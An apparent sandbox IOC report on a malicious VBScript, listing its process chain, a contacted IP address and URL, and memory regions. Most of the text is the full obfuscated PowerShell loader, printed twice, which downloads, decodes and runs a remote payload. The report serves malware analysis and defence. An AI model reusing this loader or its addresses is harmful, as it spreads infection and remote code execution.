IOC Report
Bnnebgers.vbs

Bnnebgers.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Bnnebgers.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Frijsenborg Amateurism Knallertfreren Unplaiting #>;$Uniformsfrakke='tingene';<#Gaffelens Slgtsarv kommunevalgene Catalufas kalkeringens Skibsreders Pyrolysevrk #>;$Soundly=$host.PrivateData;If ($Soundly) {$Realters++;}function Burnets254($Sewings){$Noncataclysmic=$Bronzedren+$Sewings.Length-$Realters;for( $Hulede=5;$Hulede -lt $Noncataclysmic;$Hulede+=6){$Extratropical+=$Sewings[$Hulede];}$Extratropical;}function Iba($Charbroiled){ . ($Beslaglgning) ($Charbroiled);}$Aarendes=Burnets254 'SelvpMKapnioBeg az OpsaiThymylT.anslG anua Prim/Klyng5 Penu.Musta0perin Sch,o(EmbadWGldssiHaulanAns.ndStavnoMa wawTaaresoverf BaptNUbiquT rem Borg 1Uncon0Choko. dlis0Viktu;Nonvo ,spsWNussei aboonDob e6 vine4Un.ro;.erag SkamfxDrill6reuss4Natur;T.ght Hathr DousvCroqu:bouc 1Snapd2Byg.e1Lremi.Krens0Truck)Unort KarmiGOtt,keDezinco ergkStuttoEnera/ Fast2 Tryk0Slutv1N hed0F,dig0En er1Z osp0Mu.kl1Ir tt GuiluFFodgniRaulirAfooteOversfT lukosengexSprin/ Pref1 ille2R.fer1 Shar.Disap0 Inqu ';$Roskilde190=Burnets254 'confeuIntersChunkE SecorAab n-Mist aKalvegdahabeCohobNUnsetTFremt ';$Hyetograph=Burnets254 'AfkrihAdfrdtBugmutSnivepFri as,onst:Subve/Jagtl/ munddUsk,er R iniAm invBorsye onn.SlidsgToupeo Hyp oEnsilgChoralfr dleRecha.Proloc Bryso FiskmAbild/ FootuInorgcRosel?No,paeVocabx S ifpglo toHazierDiurnt ider=Ph lodpjathoBasiswRetennSlavilC,nopoUndgaaBalerdI gro& orfiStv,odSnitm= Lich1SkirpnBaadeqRedecj SagnXUnan M Hid.k CounuNidsty Sade0K,onjHNonsyQAnathzLegitkEurop_camoui,uttrG SepacBerkeo efirA E nsJAfkorbStineDAntisrSkrivbArchlsEstraZkjersjForreA SkrivSkrm x Kl eABunkrb Find ';$Kiasmers=Burnets254 'za fr>Styrt ';$Beslaglgning=Burnets254 'BoersI rdelEPraesXOv rv ';$Skibssidernes='Snarligt';$Rettelsesblad='\Assimileringens.Lan';Iba (Burnets254 ' earj$antihg konnlSkoleoG umpb Lycta Owenl Fnbl:MordaCLogiey .omblMylodiSugiln FraudLoadaeLakserpedeseSort r Bill=Nonsp$ AktieNephrn EkskvUa hn:Prluda Fs,epD,onqp,nobbdP.lsya yclotSammeaDipso+ arch$DatabR VinteElatet L,vetGlanse.yperlUnsucsFortreOveresMaelsbDesealCatalaHerhjdNonin ');Iba (Burnets254 ' lapp$SpinkgTvi llMediaoHe.heb.elesaHema lBeful:App eSIn.alc nurrrBrn pasketcwBetjelpremysak de=Mglin$ FradH U fryR,cureFla rtBursio llesgarve,rpseudaU.ennpSuverhBundv.KukkesP.melpSkulel KnusiSpanktAnari( obbl$FagblK Udebi,ingia F easBrovtmYmeree L ver angrsFrimu) M,cu ');Iba (Burnets254 'T erm[ D,agNSpr,ne ProbtSil c. nyprS Aq.aeSpi sr UnonvCor ciRa lecSubureD.belPN.ntao AlsmiTyrannTechntArranMBiltyaOvermnDobbeaDialogAnk eetricor Pinc] Nonc: .orr:a.kanSabonneTvangcPjas.uphtharMo tgi RrsmtNetvryun.ncPpicadrBarbaoinarctUnveroBrodechovedoUagtsl Per, de sk=Moder Bokma[uds aNRunkeeUnlyrtRe ak.Korr.Satione ubinc SexiuSlappr imbeiU diatArbejyHay.yPTilslrurt ko Tildt estaoUndutcAneu oEledol Per,TAut,syL.ttep Vipsesyned]Sjusk:Lodd.:.nsisT ymbilIkrafsCy,li1Trkni2 Dato ');$Hyetograph=$Scrawls[0];$Brnevold=(Burnets254 'Shudd$PrdikGEkspelSha eO Overb V nsaCoreglHande:Hvid i Um,dDAircoEAndvaOunderGFloppEPallbnAffejO Met UModulSL.ngw=DrikknPassaEHyperwSygel- OuncoTeglsb ,oguJP,ddeeSi icC odfuTSamme HistoSDr,geYUn elSStanitSte.seDav dmS ipj. DugpnElutrePoultTBilet.Ei htw He lEinchwb V,edcBedraLFiskeIArbejEMiljbNForskTHavre ');Iba ($Brnevold);Iba (Burnets254 'Jaege$Brugei BlsedUgeskeWeakeo tunng For eStvdrnProgroRadiuuJoyf sFster.CountH PinoeForziaOc,ondOpholeS ibsr Wa.nsLokal[ Ande$.viboRExteno StylsKarrykStyrgiAllerlResp.dUnchueNonre1Pukke9Bromi0P ten] Nonp= n nt$SynodAKri eaGigsfrSphaceBl sdnF,rbrdPandeeK,ritsD,kim ');$Stryges88=Burnets254 'Mowss$Miljtibre.fdC ckneSavelo R megBesagePu arnTacitoAutoruInexps Mand. to,aD OffeoDo.erwExtranSubmulTriamoDefeaaLiveddMiljbF CoeliVestelLa yve Seig(Bisul$Ri.hsHTelefy arebePatrit TurdoSystegD lprrMiliea rystpTigerhEspio,,tart$ ref PHastir TeddoFe.itxSkreseforl,n rbejeEuroetBervi) Sen ';$Proxenet=$Cylinderer;Iba (Burnets254 'Sodav$RecidGSpiflL S emOMlke.BT turaStroslRecir:AbstaA OverBFuddlYTuggeEbe ludPreha=Depor(TudseTBevgeEDispls,hototL tes-Badebp BeleAAdju tB topHJomfr Kvkk$ thypHero,R HaemOLavenX U reETimetNCoinseExcurt,atro)Filmn ');while (!$Abyed) {Iba (Burnets254 'Tangf$Pres.gPouchlGo,ifoPacifbProctaLumbrlMedia:DecalPRemicofunb,sForuriObovatC sariC.lluvEksisiChlo.sSlovetforeteArchinMarat=,emat$ ArmotTubberNonbiu RobieAot a ') ;Iba $Stryges88;Iba (Burnets254 ',adanSCollit Ariza AnelrSkruet Selv- KlbeS ndelHemateAndroeFri zpBukke Recr.4partr ');Iba (Burnets254 'Am.er$Gingeg U.gllBrddeoGarsibDisenaKonfolBogbr:Be.fiA DigibTittiyPrepaeEnd sdGenea=Pry,l(RosewT Phote abylsPhilotRdhov-BotanPVagtfa hirotDeli hI dst Downt$ uperPHemmerProp.oRevacxInstreBehann Ele.e SolatForhe)G ave ') ;Iba (Burnets254 'E,poi$OphavgUnheslDelkaoYokonbPerboa Oc.olSlem.:MikroRRollobCongrdT knoiGold.gHamatePilgrrPit ie fort= p us$TriumgFuglelpe ecoFofarbUndisa U,drlDefla:PuddlCBefolyfin,esSurtatZidaloI.dbls Mis.pAlarmaMbelfs apsom ,lou+Melod+folke% Cz.r$UnthiS P,ricSolarrBas.saAntndwLikablSwervsTaeni.Farvec eproFringuRegdnn Paratforl ') ;$Hyetograph=$Scrawls[$Rbdigere];}$Bemandingers=312136;$Baksningens=32559;Iba (Burnets254 'Brief$Aalekg rogrl FremoLaconb Embuatnde l Mill: MillKOffeniEncrimBenz ewoollrSuperiSi,ped evisg SnoriSkossa lokhnkaosj Fe.b=Tilk ChadaGKolo eTrskrtStbef-interCN umdoKnortnFo.tst,trigeHanken Unsat lith Bo il$Disp,PSaesorSneenoRe oixDayfleDisrunKetokeMaaletS,lla ');Iba (Burnets254 ' Skul$Rull.gFarvelUnu.toAuxocbV.redaKnsobl life:BouzoPMgt.grCentroHa ild Tan,uJunkikSporottypehu ForudForu v BesriRoyalkTilsjlRepute tarerDete.eSheetsSvige Shang=Auk i Repl[DuettSSno,byTllins rmout onteeOutpumHaveb. ryskCUdlgsoKamutndispovregreeMatchrEnsnatAlca ]Sudan:Slave:EjendFstaldr Incro estmLutetB utreaPenros UndeeCar,t6Pneum4 ljeS eptatPhymarEk.triBrevsn Pol,gSkvis(Ultim$StoreKTorskiNintum ilepe BalarD.triiBortrd SyrugSysteivizieaRensknBe be)Daudk ');Iba (Burnets254 'Tyros$ Agg g Ove l folkoTempobBarcoa UdsplProt : SkjtPNonineTranspHepatp RefleBasiarPentiwPauseoD rerrUdblstNort 4 G,nm Blost=Mul,i G,ne[GnallSPrin yPseudsGlycatplanteK,ttam Dio,.RadioTEklekeUn eaxRundetHuave.Drik.EAbbrenUdgancinagiopatacdAflevi StuvnK,nvegHasta] Slae: hitf:SivskA Min SProstCMurchIPaileIGlyco.nonheGTroldeDrilltOrthoSca,ast .litr FastiCeyl nRangfg egni(E,mer$DevilPNabo.rT areoS bcadpyramu Batik Applt Cragu Uno dl.rmev InfoiBantukforstlWaddieAtombrPyromeRestasAtte )Uraci ');Iba (Burnets254 ' Pryi$Fl.rigLin.elfatt.oS degbKombiaParoclSorbo:RegisS.rundcstemmrD tapu Tr,pt BegyaArthrtStrk oBegynrImput=under$Fe,emPDia.ee engpMedicpD,aloeNudamrJapanw.ayero,psolr Ballt .age4 abom. MellsBasinuInvalbTegnesMonottR adirSliveiBo genForskgSpec,(Pre o$SokleB Monoe UncamS natahemitn Besod FiltiD,zennHuskigImplue .ingr TrylsOccas,Sesq $ Bej.BP,agoaAnomakKumy,sVela,nLdig iKa minT ssagDivereTrldonKya,nsF,ott)Omreg ');Iba $Scrutator;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Frijsenborg Amateurism Knallertfreren Unplaiting #>;$Uniformsfrakke='tingene';<#Gaffelens Slgtsarv kommunevalgene Catalufas kalkeringens Skibsreders Pyrolysevrk #>;$Soundly=$host.PrivateData;If ($Soundly) {$Realters++;}function Burnets254($Sewings){$Noncataclysmic=$Bronzedren+$Sewings.Length-$Realters;for( $Hulede=5;$Hulede -lt $Noncataclysmic;$Hulede+=6){$Extratropical+=$Sewings[$Hulede];}$Extratropical;}function Iba($Charbroiled){ . ($Beslaglgning) ($Charbroiled);}$Aarendes=Burnets254 'SelvpMKapnioBeg az OpsaiThymylT.anslG anua Prim/Klyng5 Penu.Musta0perin Sch,o(EmbadWGldssiHaulanAns.ndStavnoMa wawTaaresoverf BaptNUbiquT rem Borg 1Uncon0Choko. dlis0Viktu;Nonvo ,spsWNussei aboonDob e6 vine4Un.ro;.erag SkamfxDrill6reuss4Natur;T.ght Hathr DousvCroqu:bouc 1Snapd2Byg.e1Lremi.Krens0Truck)Unort KarmiGOtt,keDezinco ergkStuttoEnera/ Fast2 Tryk0Slutv1N hed0F,dig0En er1Z osp0Mu.kl1Ir tt GuiluFFodgniRaulirAfooteOversfT lukosengexSprin/ Pref1 ille2R.fer1 Shar.Disap0 Inqu ';$Roskilde190=Burnets254 'confeuIntersChunkE SecorAab n-Mist aKalvegdahabeCohobNUnsetTFremt ';$Hyetograph=Burnets254 'AfkrihAdfrdtBugmutSnivepFri as,onst:Subve/Jagtl/ munddUsk,er R iniAm invBorsye onn.SlidsgToupeo Hyp oEnsilgChoralfr dleRecha.Proloc Bryso FiskmAbild/ FootuInorgcRosel?No,paeVocabx S ifpglo toHazierDiurnt ider=Ph lodpjathoBasiswRetennSlavilC,nopoUndgaaBalerdI gro& orfiStv,odSnitm= Lich1SkirpnBaadeqRedecj SagnXUnan M Hid.k CounuNidsty Sade0K,onjHNonsyQAnathzLegitkEurop_camoui,uttrG SepacBerkeo efirA E nsJAfkorbStineDAntisrSkrivbArchlsEstraZkjersjForreA SkrivSkrm x Kl eABunkrb Find ';$Kiasmers=Burnets254 'za fr>Styrt ';$Beslaglgning=Burnets254 'BoersI rdelEPraesXOv rv ';$Skibssidernes='Snarligt';$Rettelsesblad='\Assimileringens.Lan';Iba (Burnets254 ' earj$antihg konnlSkoleoG umpb Lycta Owenl Fnbl:MordaCLogiey .omblMylodiSugiln FraudLoadaeLakserpedeseSort r Bill=Nonsp$ AktieNephrn EkskvUa hn:Prluda Fs,epD,onqp,nobbdP.lsya yclotSammeaDipso+ arch$DatabR VinteElatet L,vetGlanse.yperlUnsucsFortreOveresMaelsbDesealCatalaHerhjdNonin ');Iba (Burnets254 ' lapp$SpinkgTvi llMediaoHe.heb.elesaHema lBeful:App eSIn.alc nurrrBrn pasketcwBetjelpremysak de=Mglin$ FradH U fryR,cureFla rtBursio llesgarve,rpseudaU.ennpSuverhBundv.KukkesP.melpSkulel KnusiSpanktAnari( obbl$FagblK Udebi,ingia F easBrovtmYmeree L ver angrsFrimu) M,cu ');Iba (Burnets254 'T erm[ D,agNSpr,ne ProbtSil c. nyprS Aq.aeSpi sr UnonvCor ciRa lecSubureD.belPN.ntao AlsmiTyrannTechntArranMBiltyaOvermnDobbeaDialogAnk eetricor Pinc] Nonc: .orr:a.kanSabonneTvangcPjas.uphtharMo tgi RrsmtNetvryun.ncPpicadrBarbaoinarctUnveroBrodechovedoUagtsl Per, de sk=Moder Bokma[uds aNRunkeeUnlyrtRe ak.Korr.Satione ubinc SexiuSlappr imbeiU diatArbejyHay.yPTilslrurt ko Tildt estaoUndutcAneu oEledol Per,TAut,syL.ttep Vipsesyned]Sjusk:Lodd.:.nsisT ymbilIkrafsCy,li1Trkni2 Dato ');$Hyetograph=$Scrawls[0];$Brnevold=(Burnets254 'Shudd$PrdikGEkspelSha eO Overb V nsaCoreglHande:Hvid i Um,dDAircoEAndvaOunderGFloppEPallbnAffejO Met UModulSL.ngw=DrikknPassaEHyperwSygel- OuncoTeglsb ,oguJP,ddeeSi icC odfuTSamme HistoSDr,geYUn elSStanitSte.seDav dmS ipj. DugpnElutrePoultTBilet.Ei htw He lEinchwb V,edcBedraLFiskeIArbejEMiljbNForskTHavre ');Iba ($Brnevold);Iba (Burnets254 'Jaege$Brugei BlsedUgeskeWeakeo tunng For eStvdrnProgroRadiuuJoyf sFster.CountH PinoeForziaOc,ondOpholeS ibsr Wa.nsLokal[ Ande$.viboRExteno StylsKarrykStyrgiAllerlResp.dUnchueNonre1Pukke9Bromi0P ten] Nonp= n nt$SynodAKri eaGigsfrSphaceBl sdnF,rbrdPandeeK,ritsD,kim ');$Stryges88=Burnets254 'Mowss$Miljtibre.fdC ckneSavelo R megBesagePu arnTacitoAutoruInexps Mand. to,aD OffeoDo.erwExtranSubmulTriamoDefeaaLiveddMiljbF CoeliVestelLa yve Seig(Bisul$Ri.hsHTelefy arebePatrit TurdoSystegD lprrMiliea rystpTigerhEspio,,tart$ ref PHastir TeddoFe.itxSkreseforl,n rbejeEuroetBervi) Sen ';$Proxenet=$Cylinderer;Iba (Burnets254 'Sodav$RecidGSpiflL S emOMlke.BT turaStroslRecir:AbstaA OverBFuddlYTuggeEbe ludPreha=Depor(TudseTBevgeEDispls,hototL tes-Badebp BeleAAdju tB topHJomfr Kvkk$ thypHero,R HaemOLavenX U reETimetNCoinseExcurt,atro)Filmn ');while (!$Abyed) {Iba (Burnets254 'Tangf$Pres.gPouchlGo,ifoPacifbProctaLumbrlMedia:DecalPRemicofunb,sForuriObovatC sariC.lluvEksisiChlo.sSlovetforeteArchinMarat=,emat$ ArmotTubberNonbiu RobieAot a ') ;Iba $Stryges88;Iba (Burnets254 ',adanSCollit Ariza AnelrSkruet Selv- KlbeS ndelHemateAndroeFri zpBukke Recr.4partr ');Iba (Burnets254 'Am.er$Gingeg U.gllBrddeoGarsibDisenaKonfolBogbr:Be.fiA DigibTittiyPrepaeEnd sdGenea=Pry,l(RosewT Phote abylsPhilotRdhov-BotanPVagtfa hirotDeli hI dst Downt$ uperPHemmerProp.oRevacxInstreBehann Ele.e SolatForhe)G ave ') ;Iba (Burnets254 'E,poi$OphavgUnheslDelkaoYokonbPerboa Oc.olSlem.:MikroRRollobCongrdT knoiGold.gHamatePilgrrPit ie fort= p us$TriumgFuglelpe ecoFofarbUndisa U,drlDefla:PuddlCBefolyfin,esSurtatZidaloI.dbls Mis.pAlarmaMbelfs apsom ,lou+Melod+folke% Cz.r$UnthiS P,ricSolarrBas.saAntndwLikablSwervsTaeni.Farvec eproFringuRegdnn Paratforl ') ;$Hyetograph=$Scrawls[$Rbdigere];}$Bemandingers=312136;$Baksningens=32559;Iba (Burnets254 'Brief$Aalekg rogrl FremoLaconb Embuatnde l Mill: MillKOffeniEncrimBenz ewoollrSuperiSi,ped evisg SnoriSkossa lokhnkaosj Fe.b=Tilk ChadaGKolo eTrskrtStbef-interCN umdoKnortnFo.tst,trigeHanken Unsat lith Bo il$Disp,PSaesorSneenoRe oixDayfleDisrunKetokeMaaletS,lla ');Iba (Burnets254 ' Skul$Rull.gFarvelUnu.toAuxocbV.redaKnsobl life:BouzoPMgt.grCentroHa ild Tan,uJunkikSporottypehu ForudForu v BesriRoyalkTilsjlRepute tarerDete.eSheetsSvige Shang=Auk i Repl[DuettSSno,byTllins rmout onteeOutpumHaveb. ryskCUdlgsoKamutndispovregreeMatchrEnsnatAlca ]Sudan:Slave:EjendFstaldr Incro estmLutetB utreaPenros UndeeCar,t6Pneum4 ljeS eptatPhymarEk.triBrevsn Pol,gSkvis(Ultim$StoreKTorskiNintum ilepe BalarD.triiBortrd SyrugSysteivizieaRensknBe be)Daudk ');Iba (Burnets254 'Tyros$ Agg g Ove l folkoTempobBarcoa UdsplProt : SkjtPNonineTranspHepatp RefleBasiarPentiwPauseoD rerrUdblstNort 4 G,nm Blost=Mul,i G,ne[GnallSPrin yPseudsGlycatplanteK,ttam Dio,.RadioTEklekeUn eaxRundetHuave.Drik.EAbbrenUdgancinagiopatacdAflevi StuvnK,nvegHasta] Slae: hitf:SivskA Min SProstCMurchIPaileIGlyco.nonheGTroldeDrilltOrthoSca,ast .litr FastiCeyl nRangfg egni(E,mer$DevilPNabo.rT areoS bcadpyramu Batik Applt Cragu Uno dl.rmev InfoiBantukforstlWaddieAtombrPyromeRestasAtte )Uraci ');Iba (Burnets254 ' Pryi$Fl.rigLin.elfatt.oS degbKombiaParoclSorbo:RegisS.rundcstemmrD tapu Tr,pt BegyaArthrtStrk oBegynrImput=under$Fe,emPDia.ee engpMedicpD,aloeNudamrJapanw.ayero,psolr Ballt .age4 abom. MellsBasinuInvalbTegnesMonottR adirSliveiBo genForskgSpec,(Pre o$SokleB Monoe UncamS natahemitn Besod FiltiD,zennHuskigImplue .ingr TrylsOccas,Sesq $ Bej.BP,agoaAnomakKumy,sVela,nLdig iKa minT ssagDivereTrldonKya,nsF,ott)Omreg ');Iba $Scrutator;"

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\syswow64\msiexec.exe"

http://137.184.191.215/index.php/039

137.184.191.215

137.184.191.215

unknown

United States

8BE0000

direct allocation

page execute and read and write

5FEB000

trusted library allocation

page read and write

1CA5698E000

trusted library allocation

page read and write

BE9C000

direct allocation

page execute and read and write